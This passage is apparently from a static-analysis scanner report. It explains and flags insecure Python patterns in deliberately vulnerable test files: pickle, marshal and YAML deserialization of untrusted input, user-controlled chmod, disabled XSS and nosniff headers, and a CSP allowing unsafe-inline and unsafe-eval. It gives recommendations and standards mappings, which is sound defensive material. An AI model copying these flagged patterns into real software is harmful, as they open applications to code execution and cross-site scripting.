[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)

Dynamic Code Evaluation: Unsafe Pickle Deserialization

Description

Deserializing user-controlled data at run-time can allow attackers to execute arbitrary code.

Explanation

Python Official documentation states that:

The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Pickle is a powerful serializing library that provides developers with an easy way to transmit objects, serializing them to a custom Pickle representation. Pickle allows arbitrary objects to declare how they should be deserialized by defining a __reduce__ method. This method should return a callable and the arguments for it. Pickle will call the callable with the provided arguments to construct the new object allowing the attacker to execute arbitrary commands.

Severity

Medium

Vulnerabilities

File tests\Dynamic_Code_Evaluation__Unsafe_Pickle_Deserialization.py, Line 4, Pos 1

```
 4 pickle.load(something)
```

File tests\Dynamic_Code_Evaluation__Unsafe_Pickle_Deserialization.py, Line 5, Pos 1

```
 5 pickle.loads(something)
```

File tests\Dynamic_Code_Evaluation__Unsafe_Pickle_Deserialization.py, Line 6, Pos 1

```
 6 marshal.load(something)
```

File tests\Dynamic_Code_Evaluation__Unsafe_Pickle_Deserialization.py, Line 7, Pos 1

```
marshal.loads(something)
```

Recommendations

- If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Links

[1] Python object serialization Python (https://docs.python.org/2/library/pickle.html)
[2] Python object serialization Python (https://docs.python.org/2/library/pickle.html)
[3] Python Library Reference Python (https://docs.python.org/2.2/lib/pickle-sec.html)
[4] Standards Mapping - Common Weakness Enumeration CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[12] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2010 A1 Injection
[15] Standards Mapping - OWASP Top 10 2013 A1 Injection
[16] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements, 5.5.1 Deserialization Prevention Requirements, 5.5.3 Deserialization Prevention Requirements
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1

[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I

[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)

Dynamic Code Evaluation: Unsafe YAML Deserialization

Description

Deserializing user-controlled YAML streams might enable attackers to execute arbitrary code on the server, abuse application logic, and/or lead to denial of service.

Explanation

YAML serialization libraries, which convert object graphs into YAML formatted data may include the necessary metadata to reconstruct the objects back from the YAML stream. If attackers can specify the classes of the objects to be reconstructed and are able to force the application to run arbitrary setters with user-controlled data, they may be able to execute arbitrary code during the deserialization of the YAML stream.

Example 1: The following example deserializes an untrusted YAML string using an insecure YAML loader.

```
import yaml
yamlString = getYamlFromUser()
yaml.load(yamlString)
```

Severity

Medium

Vulnerabilities

File tests\Dynamic_Code_Evaluation__Unsafe_YAML_Deserialization.py, Line 3, Pos 1

```
3 y.load(something)
```

File tests\Dynamic_Code_Evaluation__Unsafe_YAML_Deserialization.py, Line 4, Pos 1

```
4 y.load_all(something)
```

Recommendations

- Use safe methods: yaml.safe_load and yaml.safe_load_all

Links

[1] Standards Mapping - Common Weakness Enumeration
CWE ID 502
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019
[23] CWE ID 502

[3] Standards Mapping - Common Weakness Enumeration Top 25 2020
[21] CWE ID 502
[4] Standards Mapping - DISA Control Correlation Identifier Version 2
CCI-001764, CCI-001774, CCI-002754
[5] Standards Mapping - FIPS200
SI
[6] Standards Mapping - General Data Protection Regulation (GDPR)
Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4
SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5
SI-10 Information Input Validation
[9] Standards Mapping - OWASP Top 10 2004
A6 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2007
A2 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2010
A1 Injection
[12] Standards Mapping - OWASP Top 10 2013
A1 Injection
[13] Standards Mapping - OWASP Top 10 2017
A8 Insecure Deserialization
[14] Standards Mapping - OWASP Mobile 2014
M7 Client Side Injection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0
1.5.2 Input and Output Architectural Requirements, 5.5.1 Deserialization Prevention Requirements, 5.5.3 Deserialization Prevention Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1
Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2
Requirement 6.3.1.1, Requirement 6.5.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0
Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0
Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1
Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2
Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1
Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0
Control Objective 4.2 - Critical Asset Protection
[24] Standards Mapping - SANS Top 25 2009
Insecure Interaction - CWE ID 116

[25] Standards Mapping - Security Technical Implementation Guide Version 3.1
APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4
APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5
APP3510 CAT I, APP3570 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6
APP3510 CAT I, APP3570 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7
APP3510 CAT I, APP3570 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9
APP3510 CAT I, APP3570 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.10
APP3510 CAT I, APP3570 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1
APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Web Application Security Consortium Version 2.00
Improper Input Handling (WASC-20)

File Permission Manipulation

Description

Allowing user input to directly alter file permissions may enable an attacker to access otherwise protected system resources.

Explanation

File permission manipulation errors occur when any of the following conditions are met:

1. An attacker is able to specify a path used in an operation that modifies permissions on the file system.

2. An attacker is able to specify the permissions assigned by an operation on the file system.

Example 1: The following code uses input from system environment variables to set file permissions. If attackers can alter the system environment variables, they may use the program to gain access to files manipulated by the program. If the program is also vulnerable to path manipulation, an attacker may use this vulnerability to access arbitrary files on system.

```
    permissions = os.getenv("filePermissions");
    os.chmod(filePath, permissions);
    ...
```

Severity

High

Vulnerabilities

File tests\File_Permission_Manipulation.py, Line 3, Pos 1

```
3 os.chmod(filePath, permissions)
```

Recommendations

- Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources.
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[5] Standards Mapping - FIPS200 AC
[6] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)

[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[9] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[10] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design, 4.1.5 General Access Control Design, 4.2.1 Operation Level Access Control, 4.3.3 Other Access Control Considerations, 7.3.3 Log Protection Requirements
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[21] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[22] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[23] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II

[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[36] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)

HTML5: Cross-Site Scripting Protection

Description

The X-XSS-Protection header is explicitly disabled which may increase the risk of cross-site scripting attacks.

Explanation

X-XSS-Protection refers to a header that is automatically enabled in Internet Explorer 8 upwards and the latest versions of Chrome. When the header value is set to false (0) cross-site scripting protection is disabled.

The header can be set in multiple locations and should be checked for both misconfiguration as well as malicious tampering.

Severity

High

Vulnerabilities

File tests\HTML5__Cross_Site_Scripting_Protection.py, Line 1, Pos 1

```
SECURE_BROWSER_XSS_FILTER = False
```

File tests\HTML5__Cross_Site_Scripting_Protection.py, Line 2, Pos 1

```
SECURE_BROWSER_XSS_FILTER = 0
```

Recommendations

- Set value of SECURE_BROWSER_XSS_FILTER as True

Links

[1] IE8 Security Part IV: The XSS Filter (http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx)
[2] OWASP OWASP Secure Headers Project (https://owasp.org/www-project-secure-headers/)
[3] django-secure (http://django-secure.readthedocs.org/en/v0.1.2/settings.html#secure-browser-xss-filter)
[4] SECURE_BROWSER_XSS_FILTER (https://docs.djangoproject.com/en/1.8/ref/settings/#secure-browser-xss-filter)
[5] Standards Mapping - Common Weakness Enumeration CWE ID 554, CWE ID 1173
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020

[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [3] CWE ID 020
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[9] Standards Mapping - FIPS200 CM
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[14] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements, 5.1.4 Input Validation Requirements, 14.1.3 Build
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I

[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

HTML5: MIME Sniffing

Description

The Django application does not set the X-Content-Type-Options to nosniff or explicitly disables this security header.

Explanation

MIME sniffing is the practice of inspecting the content of a byte stream to attempt to deduce the file format of the data within it.

If MIME sniffing is not explicitly disabled, some browsers can be manipulated into interpreting data in a way that is not intended, allowing for cross-site scripting attacks.

For each page that could contain user-controllable content, you should use the HTTP header X-Content-Type-Options: nosniff.

Severity

Medium

Vulnerabilities

File tests\HTML5__MIME_Sniffing.py, Line 1, Pos 1

```
SECURE_CONTENT_TYPE_NOSNIFF = False
```

File tests\HTML5__MIME_Sniffing.py, Line 3, Pos 1

```
SECURE_CONTENT_TYPE_NOSNIFF = 0
```

Recommendations

- Django: explicitly set value of SECURE_CONTENT_TYPE_NOSNIFF as True

Links

[1] SECURE_CONTENT_TYPE_NOSNIFF (https://docs.djangoproject.com/en/1.8/ref/settings/#secure-content-type-nosniff)
[2] django-secure (http://django-secure.readthedocs.org/en/latest/)
[3] OWASP OWASP Secure Headers Project (https://owasp.org/www-project-secure-headers/)
[4] Standards Mapping - Common Weakness Enumeration CWE ID 554
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [3] CWE ID 020
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[8] Standards Mapping - FIPS200 CM
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[12] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[13] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[16] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements, 5.1.4 Input Validation Requirements, 14.1.3 Build
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1

[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

HTML5: Misconfigured Content Security Policy

Description

Incorrectly configured Content Security Policy (CSP) could expose an application against client-side threats including cross-site scripting, cross-frame scripting and cross-site request forgery.

Explanation

Content Security Policy (CSP) is a declarative security header that allows developers to dictate which domains the site is allowed to load content from or initiate connections to when rendered in the web browser. It provides an additional layer of security from critical vulnerabilities such as cross-site scripting, clickjacking, cross-origin access and the like, on top of input validation and checking an allow list in code. An improperly configured header, however, fails to provide this additional layer of security. The policy is defined with the help of fifteen directives including eight that control resource access, namely: script-src, img-src, object-src, style_src, font-src, media-src, frame-src, connect-src.

Each of these takes a source list as a value specifying domains the site is allowed to access for a feature covered by that directive. Developers may use wildcard * to indicate all or part of the source. None of the directives are mandatory. Browsers will either allow all sources for an unlisted directive or will derive its value from the optional default-src directive. Furthermore, the specification for this header has evolved over time. It was implemented as X-Content-Security-Policy in Firefox until version 23 and in IE until version 10, and was implemented as X-Webkit-CSP in Chrome until version 25. Both of the names are deprecated in favor of the now standard name Content Security Policy. Given the number of directives, two deprecated alternate names, and the way multiple occurrences of the same header and repeated directives in a single header are treated, there is a high probability that a developer might misconfigure this header.

Consider the following misconfiguration scenarios:

- Directives with unsafe-inline or unsafe-eval defeats the purpose of CSP. - script-src directive is set but no script nonce is configured. - frame-src is set but no sandbox is configured. - Multiple instances of this header are allowed in same response. A development team and security team might both set a header but one may use one of the deprecated names. While deprecated headers are honored if a header with the latest name (that is, Content Security Policy) is not present, they are ignored if a policy with content-security-header name is present. Older versions only understand deprecated names, hence, in order to achieve desired support it is essential that the response include an identical policy with all three names. - If a directive is repeated within the same instance of the header, all subsequent occurrences are ignored.

Example 1: The following django-csp configuration uses unsafe-inline and unsafe-eval insecure directives to allow inline scripts and code evaluation:

```
...
MIDDLEWARE_CLASSES = (
...
'csp.middleware.CSPMiddleware',
...
)
...
CSP_DEFAULT_SRC = ("'self'", "'unsafe-inline'", "'unsafe-eval'", 'cdn.example.ne
t')
...
```

Severity

Medium

Vulnerabilities

File tests\HTML5__Misconfigured_Content_Security_Policy.py, Line 1, Pos 1

```
CSP_DEFAULT_SRC = ["'self'", "'unsafe-inline'", "'unsafe-eval'", 'cdn.examp
>le.net']
```

File tests\HTML5__Misconfigured_Content_Security_Policy.py, Line 3, Pos 1

```
CSP_whatever_SRC = ("'self'", "'unsafe-inline'", 'cdn.example.net')
```

Recommendations

- If possible, do not use 'unsafe-inline' and 'unsafe-eval' in Content Security Policy

Links

[1] OWASP Content Security Policy (https://www.owasp.org/index.php/Content_Security_Policy)
[2] W3C Content Security Policy 1.1 (http://www.w3.org/TR/2014/WD-CSP11-20140211/)
[3] Mozilla django-csp (http://django-csp.readthedocs.org/en/latest/index.html)
[4] Standards Mapping - Common Weakness Enumeration CWE ID 942, CWE ID 1173
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [3] CWE ID 020
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
